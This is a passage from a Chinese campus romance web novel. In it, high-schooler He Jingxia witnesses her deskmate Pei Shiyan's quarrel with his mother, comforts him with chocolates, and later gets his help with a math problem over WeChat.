门忽然被推开,贺州探身进来,从公文包里掏出一盒精美的礼品盒递给她,笑着:“专门给你买的巧克力,打开尝一尝好不好吃。”
贺京夏开心丢下笔,接过巧克力,精美的粉色包装,让人有些舍不得打开。
她很爱吃甜食,宋丽怕她甜的吃多蛀牙,会格外控制她吃甜的。
所以每次贺州出差回来,都会瞒着宋丽悄摸摸给她带,有时候是巧克力有时候是糕点。
“这么好看,我都舍不得拆了。”贺京夏摸着盒子上的包装,终究舍不得下手。
贺州失笑:“想要下次我再给你买,先看看好不好吃。”
“谢谢爸爸!”
“保密。”
“遵命!”贺京夏笑嘻嘻在脑门比了个敬礼的手势。
“你妈还没回来吗?怎么没见她人。”贺州问道。
平时回来一眼就能在客厅看到宋丽看电视的身影,今晚回来客厅都是暗的。
说到这个,贺京夏上一秒还笑容灿烂的小脸直接一垮。
贺州追问道:“又跟你妈闹矛盾了?”
“这次还真没,我妈在屋里,她今天回来情绪不太对,估计是又想我姥爷了。”贺京夏垂下头,轻声叹气。
贺州见状伸手摸了摸她的头,安慰道:“没事,你先写完作业,等会儿爸爸带你出去吃好吃的。”
“好。”贺京夏闷声应道。
贺州让她把糖收好,才出去,贺京夏从里面拿出来两颗放在桌子上解馋,又在屋里写了二十分钟试卷,只剩下最后一道大题实在不会写便空着,正斟酌要不要给陆妍发个微信问问答案。
“夏夏出来我们去吃饭。”屋外传来宋丽的叫喊声。
“马上来。”
贺京夏把桌子上的东西收拾好,瞧见那两颗巧克力,忙着写作业也没有吃,怕被宋丽看到,直接塞进了裤子的口袋里,随手捞过搭在椅子上的外套穿上。
贺州跟宋丽已经收拾好,站在门口等她,在谈论着今晚带她吃什么。
贺京夏不紧不慢穿鞋,顺势观察宋丽的神情,看起来是好了,她的心才彻底放下。
最后一家三口敲定去吃粤菜,前两天开业的时候贺州带着合伙人去吃过,菜品味道不错,今天就想带着妻女去尝一尝。
这家粤菜馆离贺京夏家倒是不远,步行五分钟就到,招牌倒是挺简洁挂着“临粤集”,引人注目的是正红色门头旁边那两只狮子,眼神炯炯有神看向每一个路过的人,里面的装修风格是老式的茶楼风,这个点已经坐满了人,还好出门前打电话预约,给他们留了位置。
贺京夏是个不挑嘴的有什么吃什么,菜还有一会儿才上,她无聊往四周扫了圈。
贺州跟宋丽在说着公司的事情,她听不懂。
贺京夏拿出手机,无聊点开微信,想到出门前没有来得及问的题,还是给陆妍发了个消息。
不是惊吓:【妍妍数学最后一道大题你做了没,借我看看答案。】
手机对面那头的陆妍回复她很快。
不是惊吓:【做了,不过我不知道对不对,挺难的。】
贺京夏的心里稍稍安定下来,陆妍的数学成绩起码比她好太多了。
不是惊吓:【有就行了不指望对。】
陆妍:【话说你怎么不去问你同桌,他的数学可是满分,有一尊大佛你不仰仗,怎么想的。】
话糙理不糙,关键不是她不想仰仗,是大佛压根不给机会啊!
刘越给她说跟裴时晏互补的事情,她并不打算给陆妍说,那小妮子要知道估计又是一顿好八卦,为了耳朵着想还是不说为好。
不是惊吓:【有你就够了。】
那边没有回,估计在忙,贺京夏也没有再管,把手机放在一边。
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这时菜已经上来了,菜品的色泽很诱惑人,贺京夏忍不住夹了一筷子,确实很好吃。
宋丽偏头看着她,打断:“先去把手洗了。”
贺京夏讪讪笑着放下筷子:“知道了。”
洗完手贺京夏往回走,路过一间包厢,隐隐约约听到里面强烈的争吵声。
女人暴怒的声音从里面传来,“好好的京都你不待,跑回这个鬼地方,你是想干嘛?”
“您不知道吗?”
少年声音清冷又富有磁性,声线非常好听,就是说出来的话着实气人。
只是这声音好像在哪里听过。
贺京夏更加好奇了,目光往里探,半开着的门正对着的是刚才说话的主人。
他的背影宽阔,上身是一件黑色的卫衣,没有任何的图案,下面是一条灰色的运动裤,穿着很随意,可又恰到好处的衬得他身形优越,典型的衣架子。
他的左手随意敲打着桌子,好像在打着什么节拍,另一个垂在身侧的手还在夹着一根烟,修长又骨节分明的手指漫不经心轻抖着烟灰,猩红的点燃烧着,烟雾环绕着他,他并不在意。
“你知道你现在这个死样子像什么吗?”女人有些火冒三丈,从旁边走到他的面前,“我花那么多钱培养你,不是为了你成为一个混混,现在你跟那些街头一无是处的混混有什么区别?”
能清楚的看出女人保养得当的脸,连生气的时候都是很优雅的。
年纪应该跟宋丽差不多四十来岁,她年轻时应该是个美人胚子,现在风华依旧,一身白色的修身连衣裙凸显她姣好的身材。脖子上戴着一条翡翠,在灯下显示出一种非常浓郁的绿色,衬得她十分白皙。
一位美丽的富太太跟一位不着调的公子哥,气氛降至冰点。
大概又是豪门无用败家子的戏码,贺京夏兴致缺缺,顿时没有了看戏的心情。
贺京夏原本已经跨出的步伐,又听到里头那位不着调的少年再次开口,停住了脚步。
“您还是眼高于顶,混混怎么了?”他似乎冷笑了一下,样子很随意,“混混也不是谁都能当的,我想当人家还不一定欢迎我。”
字字诛心。
“裴时晏你什么态度!”女人扬起手,却还是没有挥下去,又怒声质问,“你现在这个样子简直无可救药,我想你好我有错吗?我有什么错?这么多年我尽心尽力为了你,你不领情就算了,你为什么还要自甘堕落?”
歇斯底里的问责。
那人是裴时晏?!她同桌!
“白女士您没有错,有错的是我,不是您,我的出生就是最大的错误。”
那位不紧不慢的陈述,一副事不关己的语气高高挂起的态度。
这副模样的裴时晏她没有见过,脑子里面已经不自觉脑补了一篇豪门弃子的大片。
也不知道是不是他觉得还不够气死人,又加大火力。
“您千不该万不该最后留下我这个祸害,你应该在最开始的时候咬咬牙、狠狠心干脆直接掐死我,就好了。”
“这样您也不用像现在这样天天担心我,怕我误入歧途丢您的脸。”
女人忍无可忍,最终甩了他一巴掌,他的头偏过冷不丁扫上了眼门外,与贺京夏的视线碰撞上,他不在意回过头,冷笑看着对面的女人,弩拔剑张的气氛逼人,他手指上的那根已经燃到头的香烟,被他按在桌子上熄灭。
不要太尴尬了,这会儿贺京夏脚趾扣地,被抓包的尴尬感,讪讪收回视线。
她抬脚准备开溜,裴时晏这时也起身,正往她这边来,脸色淡漠,他看着她的眼神带着冷冽。
贺京夏身子抖了抖,很快那高大的身形走到她的身旁。
两道眸子再次对上,他不说话的时候,眉眼间都是疏远,让人觉得这个人一点也不好对付。
这没事她好奇什么好奇,还被正主抓了个包,八卦这破什么得改!
犯错就得认,贺京夏正准备开口跟他道个歉,裴时晏先她一步出声。
“我这个主角已经出来了,你还不走,是准备听她一个人唱独角戏吗?”
贺京夏是个脸皮薄的,被人家这么说,脸顿时不好意思涨红,想反驳他,在心里组织了好一会儿语言,谁知开口。
“我......我”我了半天,没说出一句有用的话。
而眼前这位哥漫不经心看着她。
“所以你在脸红什么?同桌。”
同桌二字他咬得有点重,听出来打趣的意味。
4. 难捱
槐城入了十月末,晚上的气温下降得快,风吹着饭店门口那棵大树树枝飒飒作响。
夜晚的城市霓虹灯四处闪烁。
贺京夏跟着裴时晏走出了饭店,两个人站在饭店对面的路口,她才回过神,心中不免懊悔,自己怎么就莫名其妙跟着他跑出来了。
饭还没吃,爸妈还在里面等着她呢。
心里懊恼,可眼下还有更懊恼的等着她。
裴时晏双手插兜,没有什么情绪地看着她,“你还要跟着我到什么时候?”
贺京夏脸上表情无语地回看他一眼,又扫了一圈周围,然后抿着唇笑道:“我都找遍了,也没有见到这里有写你名字。”
伶牙俐齿巧舌如簧,全然没有第一次见的憨货模样。
“早知道你这么会说,刚刚就应该让你替我上阵。”裴时晏唇角微勾看着她,语调冷淡没有起伏。
明知是挖苦贺京夏还是秉承着气势不能输原则,扬起下巴一脸不服气看着他:“难道你才意识到你弱吗?”
裴时晏蹙着冷峻的长眉瞥了她一眼。
是个得意忘形的傻子。
见他没有说话,以为戳到他的痛处,想到他才挨了一顿打,自己还踩人家的点,贺京夏心里很不是滋味。
“喂,裴时晏。”贺京夏闷闷地喊了他一声,抿唇垂下头看着地面。
裴时晏应声回头,下颌微微上扬,深邃的黑眸带探究落在她的身上。
他的声音很轻得“嗯”了声,语调里是一股散漫。
贺京夏抬起头,硬着头皮开口:“对不起。”
风吹动着他的发丝,他背对着路灯,昏黄的光线打他的头顶让他看起来柔和了许多,他的身影被拉长,牢牢笼罩住她。
近距离能看到他侧头时下颌线条清晰,眼睛干净又透亮,根根分明的睫毛。他的皮肤很白,左边的脸颊还留着刚才被打的浅红印痕,违和又碍眼。
裴时晏似乎不太理解,“什么?”
贺京夏怕又让想到不开心的事情,绞尽脑汁想怎么委婉去说。
“刚才在里面。”
裴时晏看她扭扭捏捏的样子,觉得有些好笑,难得好心情勾下唇角,“你是不是没看过京剧,什么戏只要开幕,就少不了观众,不是你也会是别人。”
他明明是在笑,贺京夏却觉得刺眼。
他应该很难过吧,她虽然不清楚事情的原委,但是裴时晏为人根本不像他母亲说的那样不堪。
在学校他是刘越口中的好学生,在班里很多学习好的同学喜欢跟他玩,因为他很仗义,对待喜欢他的女同学能做到有距离感、懂分寸,这样的人怎么可能会是混混呢。
贺京夏垂下的手摩挲着衣服,手不经意间碰到一个硬物时顿住,片刻她伸手进裤子的口袋摸了把。
想到什么顿时来了精神,她仰起脑袋,往前凑了凑,“裴时晏,你低头。”
“做什么?”虽然不解,裴时晏还是鬼使神差照做。
“喏”贺京夏把右手伸到他的面前,甜甜一笑。
裴时晏看了她一眼,视线慢慢转移到她的手上。
白皙娇嫩的手心上放着两颗黑色精致小巧包装的小圆球,看外形应该是巧克力。
裴时晏垂在身侧的指尖微微颤动,他沉寂多年的心,此时像被人拿刀扎开了一样,开始垂死挣扎般跳动起来。
面前的女孩脸上的笑在黑夜里被逐渐放大,他的周遭是模糊的,只剩下这道格风景格外耀眼。
尘封了好久的世界,被一点点撕开,一道微弱的光照进来。
那种感觉裴时晏说不清楚。
只知道,好像事情没那么糟糕了。
贺京夏手举的有些累,见他迟迟不动,一把抓过他的手,直接塞给他。
“不苦,我尝过,是甜的。”贺京夏顿了顿,又道,“心情不好的时候,吃点甜的,就会好了。”
她的语调软软的,跟哄小朋友一样。
裴时晏指尖轻触掌心那两颗黑巧,上面残留的温度灼的他的指尖微烫。
“贺京夏。”他抿唇,目光落在她的脸上,清冷的声音带着一丝沙哑继续道,“你是不是喜欢我?”
“哈?”贺京夏差点没被他噎死,真不知道他怎么想的,现在都玩这么直接的吗?脑子里回放起下午陆妍给她看的视频。
吓得她赶紧解释,“我不喜欢你,真的不喜欢,你别多想了。”
这着急否认的话显得他这人不讨喜一样,贺京夏想了想又赶紧找补,“不是你的问题,是我的问题,,我就是……我要怎么跟你说,我就是觉得你现在不开心,我作为同桌想哄哄你。”
“这样啊?”裴时晏眼神诚挚,嗓音缓缓低下去问她,“你以什么立场来哄我啊?”
他扬了扬手,停顿片刻,嗤笑,“贺京夏,这个你是在可怜我吧?”
明明是在笑,贺京夏却知道他生气了,一个高傲的人,怎么会允许别人可怜他。
“裴时晏你想多了,我才没有可怜你,你有什么值得被可怜的。”贺京夏眼神认真看着他,大方承认,“我只是在讨好你,因为我想抄你的数学作业。”
生怕他不相信这个说辞,贺京夏一副生无可恋的模样全盘托出。
“我的数学成绩你是知道的,从来就没有及格过,所以我现在对你好就是因为你的数学好,我想抄你的作业,我有什么资格去可怜你啊,我觉得你应该可怜可怜我。”
果然他的脸色很快缓和,一声低笑声传出。
少年站在路灯下,风轻轻吹起他的头发,四周的声音嘈杂,他独自看着她,笑起来的模样像迎面吹起的春风,给人生出一种亲近感。
收回之前说他是绣花枕头的这句话。
“你该回去了。”
裴时晏收回打量的目光,出声提醒她。
贺京夏想到餐厅里还在等她的父母,心中暗想不好,本来就想出来道个歉,耽误不了多长时间,这下好了,回去要挨骂了。
她慌乱转过身,没走两步又止住脚步,侧过身别过脑袋:“巧克力记得吃,真的是甜的。”
说完便匆匆忙忙往饭店跑。
一个胆大又有意思的冒失鬼,今晚的收获挺多。
裴时晏留在原地看着她跑远的背影,深长的眼尾往下弯,指尖轻握捏了掌心的巧克力,片刻拨开金箔纸,塞进嘴里。
她没说谎,真的是甜的。
贺京夏讪讪回到饭馆,一坐下,就接收到对面宋丽的一道审视的目光。
“你干嘛去了?”宋丽目不转睛盯着她,眼睛微眯带着探究。
贺京夏轻咳了一声,拉开椅子坐下,嬉皮笑脸地说:“就刚刚遇到了陆妍,今晚数学题有一道大题不会,正好问她,耽误了会儿。”
宋丽皮笑肉不笑看着她说,“那你怎么没喊陆妍过来一块吃饭。”
没把贺京夏问住早在回来的路上,她就想好了说辞,不慌不忙应道:“我喊了,不过她已经吃完了,所以我就没喊她。”
看她神情镇定,宋丽对她的话还是可信的,也不再没完没了追问,拆开面前的碗筷给她清洗干净才递给她。
美食对贺京夏来说是非常重要的,她夹了筷烧鹅,超级酥脆的皮,她吃的欢快,心里暗想裴时晏今晚真没福,这么好吃的饭菜他都没吃上。
今晚这场闹剧不小心被她撞到,想来有些对不住他,是不是要找补一下?
想到这贺京夏忍不住叹了口气,嘴里的饭突然也没有那么香了。
宋丽跟贺州两道眼神互相示意,无声交流后,胜负很快决出。
宋丽给贺京夏碗里夹了块红烧肉,好奇的问:“是题太难了?”
“不是。”贺京夏扒拉了一下碗里的饭,心里斗争了一小会儿,“就是有一个事,我有点犹豫。”
“很重要吗?”
“还好吧,也不算。”
“那你有什么可纠结的,真纠结你可以给爸爸妈妈说说,我们给你参考参考。”
犹豫再三贺京夏还是坦露出心中的小争斗,为了防止最后被追问,她半真半假两掺。
“也不算什么大事,就是有一个朋友他有一点小秘密被我撞见了,事关他的家庭不太好说太多,我觉得他有点小惨,我想稍微帮他一下,不知道怎么帮。”
对面二人很耐心等她说完,直至话语完毕,在二人又眼神交流一顿后,贺州率先发表自己的见解。
“首先表扬你一点,你在见到别人窘迫的时候不嘲笑,还顾及他本人的心情守口如瓶,再来说我们这个问题的重点,你有问过你同学的意见吗?本人的意见很重要,可能对你来说只是在普通不过的善意之举,但是也可能对你同学来说是负担,你需要权衡一下。”
贺京夏的目光
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锁定住宋丽,她没有说话,只是伸手拿起桌子上的杯子各自倒了水,一边高一边低。
看的贺京夏一头雾水,宋丽却一脸高深莫测,将高位的水直接倒入低位,水很快溢出。
只给贺京夏留了八个字——“月盈则亏水满则溢”。
她似懂非懂,慢慢参悟。
“爸爸妈妈,我爱你们。”
难得贺京夏说了句肉麻话。
宋丽鸡皮疙瘩都要起来了,眼神略带嫌弃看着她:“差不多就行了,我不想在情话里被溺爱死。”
“就爱就爱。”贺京夏撅着嘴,不服气地娇哼。
“说不过你。”
两人你来我往,气氛又恢复了以往的热闹。
人生来就是不同,有的父母只希望小孩一辈子无忧无虑,有的父母只会强加给小孩他们都做不到的。
贺京夏很庆幸自己是前者,她的父母对她像朋友,可以融洽又不管束,可以在她苦恼时排忧解难。
这一刻的幸福感爆棚。
饭后贺州领着宋丽去看电影,将贺京夏差遣回家学习。
对此她真的表示很无语,这个在她家是家常便饭的操作,她有时候真的觉得自己就是多余的!
说来她是幸福的,父母情绪稳定,能尊重她的爱好,不会给予她负面情绪,所以她现在成了一个还算不错的人。
却不曾想命运的轨迹有一天会被打乱。
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前脚刚到家没两分钟,宋丽的电话后脚紧随其后。
贺京夏按下接听键,开了扩音,那头正播放着电影宣传片的声音,宋丽压低了声音,小的苍蝇似的。
“到家没?”
“到了到了,您不跟我爸好好看电影,给我打电话干嘛?”
“担心你啊!”
“你安安心心跟我爸看电影吧。”
宋丽没吭声,电话没挂隐隐约约有说话声,辨别不出,正想着要不要挂掉。
突然宋丽又出声喊了她一声,这次她那头安安静静的没什么声音,应该是换了个偏僻的地方。
“还有什么指示啊母亲大人。”贺京夏问。
“晚上我跟你爸不回去了,你一个人锁好门。”
“你俩干嘛去?”贺京夏好奇道。
“大人的事情小孩子别管。”
“哦,二人世界快乐。”
“好好写你的作业,就这么地吧。”
临了宋丽也不忘正事,又嘱咐了她一句:“门锁好。”
“好,知道了。”
说罢,贺京夏笑着挂了电话,“果然我就是多余的!”
不过她并没有纠结多久,眼下还有更纠结的事情。
眼前这一道大题真是要了她的命,目光停留在她跟陆妍的微信界面上,最后一句还是她说的,也不知道这家伙在忙什么,需要的时候陆妍这家伙是一点忙都帮不上。
贺京夏叹了口气,正准备退出微信,班级群弹出一个欢迎群消息,手误直接点了进去。
说是班级群,倒不如说是背着老师私底下建立的讨论群,这还是开学的时候陆妍这个社交牛人搞到的,顺手拉了贺京夏进去,平时她都是潜水不发言。
指尖寥寥划过看了几眼前面的聊天记录,班里那几个体育特长生,正在讨论今天下午跟裴时晏那场篮球赛,最后把裴时晏邀请进了群,好些人都在欢迎他进群。
班里这几个体育生是槐城少有的家里有矿的二代,平时除了给老刘几分薄面,对谁都是瞧不上眼,高傲的头颅仰的高高的,今天这股热情劲儿头一次。
她这个同桌不简单!才一个下午就把这几个硬茬子收服,还心甘情愿称兄道弟的,有点东西。
任凭群里多热烈,主角却一声不吭。
带着好奇贺京夏点开群成员信息页,往下翻到最后一位,裴时晏的微信名简单粗暴,像他这个人,是他的名字最后一个字的英文——“Y”。
动作犹豫两秒,点开了微信主页,他的头像是一匹白色的小马驹,对于毛茸茸的东西贺京夏自带滤镜,盯着看了会儿,想起晚上这个事,她手比脑子快,按下了添加好友的按键。
回过神后,为时已晚。
“他不会觉得我有病吧?”一想到贺京夏懊恼死了,蔫了吧唧趴在作业本上。
世上要有后悔药她一定买一大片备着。
5. 难捱
数学试卷那道难题最后还是没有写,她不喜欢敷衍人,就直接空着,准备明天早上到学校再找陆妍问问怎么做。
虽然阿数不喜欢她,可她待阿数如初恋啊!
这个世界就是这么不对等。
洗完澡换上干净的睡衣,贺京夏靠在椅背上,扯掉头上的毛巾,头发还在滴水,她慵懒地擦拭着头发。
她不像别的姑娘头发又长又密,从初中开始为了方便打理,主动要求宋丽带她去剪短,所以一直都是齐耳短发,方便又干的快。
没几分钟头发就擦拭半干的状态。
她把毛巾丢进门后装衣服的桶里,方便明天一起洗。
洗漱干净,她的头发也彻底干了。
明天是周五,槐城一高跟别的学校不一样,每周的周五他们会在升旗仪式上做最后的总结,会评选出最优秀的班,综合上一周的评分决定那一个班会夺冠,会从奖学金里面抽出一部分奖金给这个班做班费。
最有意思的是这个评分的评委是不是老师也不是学生会,而是一高的学生们,学校门口的公告栏放了一个投票箱子,是专门设立好给他们投票。
据说这个建议是一个学姐提议的,这个学姐特别厉害,毕业一年就跟人合伙开了个律所,第二年以不败战绩折桂ALB,是法律界的大牛,奖励的奖金也是学姐捐的,关于这个厉害的学姐有很多个版本。
最出名的版本还是这个学姐与学生时代的恋人步入了婚姻的殿堂,听闻二人是从高中时期就一起为了理想的学府努力,自古从校园走到婚纱的爱情稀少,加上这个年纪的学生都处于青春期,都会有心仪又心动的对象,一对佳人璧偶天成的佳话,大家对这一类话题非常感兴趣。
明天需要早点到学校,不能迟到,定好闹钟之后贺京夏钻进了被窝里,关了灯准备甜甜跟周公去约个会。
抱着怀里的小兔子玩偶,眼睛都闭上了好大会儿,怎么都睡不着,往常她属于是沾床必睡。
在床上辗转反侧翻来覆去半晌,依旧没有一点睡意,正式宣告跟周公约会失败。
贺京夏睁开了眼睛,翻玩着手上的玩偶,盯着天花板发呆,丢在床头柜上的手机在这时屏幕亮起,手里揪着兔子毛的动作停了一滞。
刚要伸手去拿,脑子里又蹦出自己睡前手贱的操作,她还是犹豫了,脑子另一个小人冒出来,要是别人有急事找她呢?还是看一下吧。
贺京夏从床上坐起身,拿起放在桌子上的手机,解锁屏幕后,看到微信的软件右上角位置有一个红色的小1,心下不自觉开始忐忑起来。
说不清楚到底是因为什么,很奇怪的感觉。
期待吗?说不上,不开心?也说不上。
贺京夏慢吞吞点开微信,主界面多了一个小白马驹的头像,她盯着对屏幕怔了下,裴时晏居然加了她?
还以为他会拒绝来着,有些出乎意料。
贺京夏有点好奇点开对话框,想去看他的朋友圈。
点头像的时候也不知怎么点了两下,下一秒他的头像抖动了一下,随即蹦出一行醒目的内容,我拍了拍“Y”。
人到底是怎么能在一天内,手贱两次,贺京夏懊恼地拍了两下自己的手背,这手不要也罢。
真的是要疯了呀,贺京夏指尖疯狂按着屏幕,想把刚刚的消息撤回,可事与愿违,这个拍了拍压根就没有撤回这个功能。
真的绝了,到底是谁设计的这么尴尬的功能,有没有考虑过这个世界上还有手残党这类人的存在啊!
救命,她现在是根本没法平静下来。
指尖在键盘上敲打又删减,不知道怎么给裴时晏说,索性放下手机,愤恨地再次抽了自己的左手一巴掌。
“贺京夏呀和贺京夏,你今天是怎么回事啊,被鬼上身了吗?同样的错误怎么能干两次啊!!!”
哀嚎声在房间响起。
她抓起丢在一边的玩偶,将脸盖在底下,心死般闭上眼睛,脑子自动浮现出了裴时晏的脸,挂着似有似无的嘲笑,仿佛在笑话她是个手笨的,吓得她马上睁开了眼。
犹豫了半天她认命般又拿起手机,反正人都丢了有什么的,指尖划开屏幕,还停留在那个的界面,刚想点退出,就看到对话框最上面显示对方正在输入。
显示了老半天也不见她的手机有响,百思不得其解。
想着要不然睡觉算了,反正脸都被她丢到太平洋了,也没有什么好纠结的,他想笑就笑吧,能屈能伸才是她贺京夏!
在这时手机震动了一下,对话框多出一条信息。
【Y:说】
这个说简洁明了,真把贺京夏搞愣住了,她要怎么回?总不能说手误才加的你,那裴时晏就真的要笑话她。
忽然脑子大爆发,蓦地贺京夏就找到了说辞,回他:【想问你数学最后一道大题怎么做。】
那头没再回她。
大概裴时晏会觉得她这个人很不识趣吧,毕竟没有人会大晚上加一个男生,只为问人家一道数学题怎么做,她盯着发出去的那条消息,起了想撤回的心思。
贺京夏的指尖落在屏幕上,又移开。
——
城市的另一边灯红酒绿,有人正在过着最热闹的生活。
包厢内嘈杂震耳的音乐,桌子上见底的酒瓶被丢的七歪八扭,沙发中间两个明明醉的已经不省人事,还在叫嚣着要把对方喝趴下。
裴时晏靠在沙发最角落位置,双腿随意搭在桌子腿上,手里把玩着刚刚陆瑾白递给他的烟,姿态懒散。
头顶忽明忽暗的彩灯,光线若隐若现打在他的身上,黑色的碎发散落在额前,他的侧脸轮廓干净利落,眉眼冷淡看着醉酒的二人。
晚上跟白澄吵那一架太影响心情,裴时晏不爽地在外边逛了一圈。
天色渐晚,他外婆身体不好,裴时晏不想老人家看到他脸上那个巴掌印,影响心情到时候又折腾的睡不着觉,便去找陈宴礼将就一晚,谁知道正好赶上陆瑾白这傻叉跟人告白失败,来找陈宴礼要去买醉。
这两个人一个比一个不靠谱,裴时晏不放心就跟着来了,刚坐下手机就响了。
他没太当回事,陪了陆瑾白一杯酒,才一个人退回角落。
裴时晏从兜里掏出手机,看了一眼,发现微信有一条好友申请,点开后看到最前面的申请人是一个q版卡通女头像,想来又是某一个爱慕者,他打算不理会,自从被拉进班级群之后,他总能收到这样的好友申请。
看来还是设置不被添加,省的烦心。
正准备退出去设置,突然看到她的微信名字:不是惊吓。
想到什么,他点开了微信朋友圈,非好友对方好友只显示最近十条朋友圈,最新一条是:什么时候阿数才能爱我一次,配图是一个表情包,上面写着“跪求数学之神降临”。
果然猜对了。
裴时晏嗤笑一声,退出朋友圈,通过了好友申请,心里大概也有数。
可还是想问问她,到底是为了什么。
她回的挺快,如他所想一样。
看在那两颗还算不错的巧克力的份上,帮她一回也没什么。
裴时晏点开微信语音位置,指尖长按住才开口:“把题目发我。”
说完松开手指,发送了出去。
没两分钟贺京夏给他发过来一张图片,点开后放大看了一下,这道题是求方程的正实数解存在且唯一,说简单不简单说难也不难,不过对现在的课程来说算是一个压轴大题。
想起不久前点单时服务员把小票跟笔放在门口柜台上,方便他们走时签字,裴时晏起身朝门口走去,他拿起笔把小票翻到背面空白处,很快在纸上开始写解法,步骤往简洁又能看得懂去。
知道贺京夏那不及格的数学分数线,还标注了步骤序号,写完后给她发过去。
突然他的肩膀一沉,耳边传来陈宴礼带着醉意的声音:“阿晏你怎么回事啊,现在我们可是在酒吧哎。”
太亲密了这姿势。
裴时晏眉头紧蹙,正要将他推开,人家很识趣已经自觉离开。
陈宴礼“啧啧”了两声,面部表情带着难以置信,抓过那张小票,丢给陆瑾白,“看看你晏哥,人都在酒吧了,还不忘写数学题,再看看你,恋爱脑活该人家看不上你!”
陆瑾白很不服气得瞪回陈宴礼,似在无声回击恋爱脑怎么
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了?单恋使他快乐!
裴时晏拿回那张小票连同手机一块塞回口袋里,倪了他一眼,嗓音寡淡:“酒没喝够?”
“不敢了晏哥,求放过。”陈宴礼是个识趣的人,马上狗腿认错。
论喝酒他们还真喝不过裴时晏,他酒量一向很好,就没见他什么时候醉过。
***
看到裴时晏发过来的验算步骤,说不惊喜那都是骗人的,他的解题思路一点也不含糊,很清晰明了,贺京夏竟然觉得自己有些能看懂这题为什么这么做了。
跟着裴时晏的步骤她写完了这道题的最终答案,也不知道裴时晏怎么想的,没给她发答案,只发了个过程。
贺京夏得意洋洋拍下成果,给裴时晏发过去。
这家伙人还怪好得嘞,就是有点傲娇。
出于好奇,贺京夏又敲下一行字给他发过去。
【不是惊吓:为什么不直接给我答案?】
【Y:过程比答案更重要。】
贺京夏怔住了,没想到裴时晏会这么回她。
也没说错,是这样,她最后算出了答案。
有的时候难的不是那道题,是换算的过程,答案只有一份,过程却不止一种。
贺京夏轻轻叹了口气,难怪她摸不懂数学,原来自己压根都不知道精髓是什么。
礼尚往来,贺京夏还是给他回了个谢谢,顺便明天帮他带个早饭。
裴时晏没再回消息。
贺京夏看了眼时间,已经十一点了,打了个哈欠,也没在管,忙着找周公赴约去了。
这次很快就跟周公续上了约。
次日闹钟一响,贺京夏恋恋不舍地从床上爬起来洗漱。
匆匆忙忙穿好校服,背上书包就出了家门。
学校离她家很近,就走五分钟的路程。
她像往常一样先往早餐店走去。
这个时间点,除了路上的环卫工人,最忙碌的应该就是早餐店,店内是老板娘忙碌的身影,蒸笼层层叠放,里面冒着云雾般的热气,像是在示意着新生活的开始蒸蒸日上。
老板娘热情地招呼她:“来了,看点什么。”
“阿姨给我拿两瓶豆奶,两个茶叶蛋,三个肉包子,要分开装一个袋子两个一个袋子一个。”贺京夏笑着跟包子铺老板说,没忘记昨天答应裴时晏帮他带早餐。
“好勒,一共十一块。”老板娘边上边往蒸笼走,动作娴熟又麻利装好了包子,又帮她捞鸡蛋。
付完钱的功夫,老板娘已经都给她弄好了,贺京夏道谢接过东西,步伐快速往学校赶。
学校门口没几个人,今天贺京夏是第一个到班里的,她把早餐塞进裴时晏的课桌里,弄完后便开始享受她的早餐。
这家包子她真的很爱,皮薄馅多还不会腻。
早餐吃完后,班里同学陆陆续续都来了。
连平时迟到惯犯陆妍都来了,她嘴里哼着曲儿,跟贺京夏摆手打了个招呼。
等人都到齐了,贺京夏旁边还是空的。
陆妍回头看后桌子,指了指贺京夏身边的空位问:“你同桌呢?”
“不知道。”贺京夏顿了顿,接着又道,“估计迟到了吧。”
陆妍竖了个大拇指,再次点评:“你同桌,牛!”
贺京夏看到从门口处走进来的刘越,朝陆妍丢了个眼神,接收到后陆妍马上转过身规矩坐好。
刘越站在讲台上扫了一圈,目光在贺京夏身边停留了两秒,很快收回视线。
指挥班里的学生到走廊上按照身高站好,下楼去升旗。
贺京夏站在围栏边,她这个位置正好对着校门口那边,眼神不知觉往那边瞟了两眼,空空荡荡的,校园门口没有出现那道身影。
是出什么事了吗?
不会是被他的富婆老妈遣送回京了吧?
这个想法没两秒就被贺京夏否定掉,裴时晏这家伙看起来比他那个富婆老妈还拽,除非是他妈妈找人把他打晕,套进麻袋带走的,要不然以他的性格,根本就不可能会妥协。
就算人不走,来了也会被刘越说一顿。
贺京夏不免有些可怜起他了。
6. 难捱
今天没什么变化,还是跟往日一样,校长在上面夸夸其谈,强调在学习的同时也要兼顾爱好,格外强调高考的每一步都要好好走,气氛渲染让人紧张。
一班左侧是高三的学长学姐,一个个被带的情绪高涨,其中还是有小部分人在苦苦哀嚎,这大早上的让不让人活了,活着真的太惨之类的话。
直至校长把关于高考的话题带过,开始公布上一周的第一名班级评比结果,那阵哀嚎声才停止,大家脸上表情都很兴奋,对结果很期待。
上周被投票最多的班级是高二五班,没有被选上的班级都挺失落的,连同贺京夏她们班也是,一个个都跟蔫黄瓜似的,好在老班刘越是个乐观的人,宽心安慰她们下次再接再厉,反正日子还长,有的是时间。
做完操活动完筋骨后,是课间活动五分钟。
陆妍被尿憋得慌,拉着贺京夏急匆匆往厕所跑,活人可不能让尿憋死啊。
贺京夏懒散地倚在门口,百无聊赖扣着指甲,等里面的陆妍出来。
这会儿厕所没有人,陆妍的声音从隔间传出来,“数学最后一道大题你做完了没,昨天我忘记回你了。”
“已经做了,我还等你好半天,你简直辜负我对你的信任。”贺京夏对于她昨天的行为感到非常不满,这个事勾起了她不好的回忆,朝里面的人就是一通抱怨。
听出了她的不开心,陆妍讪讪地打着哈哈,赶忙从厕所出来,跑过去抱着贺京夏撒娇。
“哎呦哎呦,真是对不住。”陆妍是个会撒娇的,脑袋瓜子在贺京夏怀里拱了拱,见她压根没生气,才解释道,“这事怪我,怪我贪图美色,哥哥昨天好不容易出了个活动,我当然要鼎力支持,但是姐妹你依旧是最大,下次我一定不会再这样了。”
害怕贺京夏不相信她的决心,拍着胸脯竖起三根手指,一副要发誓的模样。
瞧见陆妍这副逗比的样儿,贺京夏哪里还能跟她生得起气来,一下子就被这股认真劲儿给逗笑,伸手去拉下陆妍的手腕。
“逗你玩的,我还能真跟你生气啊?”
陆妍顺势趴着贺京夏的肩膀上,感动地眼睛眨巴眨巴看着她,“你是我永远的朋友,从此你就是我唯一的姐!”
这什么跟什么啊!真的不要太离谱了好嘛!
略带嫌弃拨开肩膀的那只手,贺京夏的视线上下扫了她一圈,才开口:“你离我远一点。”
丢给她一个你是智障啊的眼神,赶紧跑出厕所,她知道陆妍会来追。
果不其然,身后陆妍愤愤跺脚,紧随其后跑去追贺京夏。
两人一路上打打闹闹回了教室。
第一节课过完,都没有见到裴时晏的影子。
